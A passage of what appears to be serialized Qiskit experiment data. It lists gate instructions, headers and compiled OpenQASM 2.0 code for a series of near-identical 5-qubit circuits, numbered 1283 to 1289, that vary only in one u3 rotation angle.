q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.800000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1283', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.9, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1285', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1287', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.1000000000000005, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1289', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg 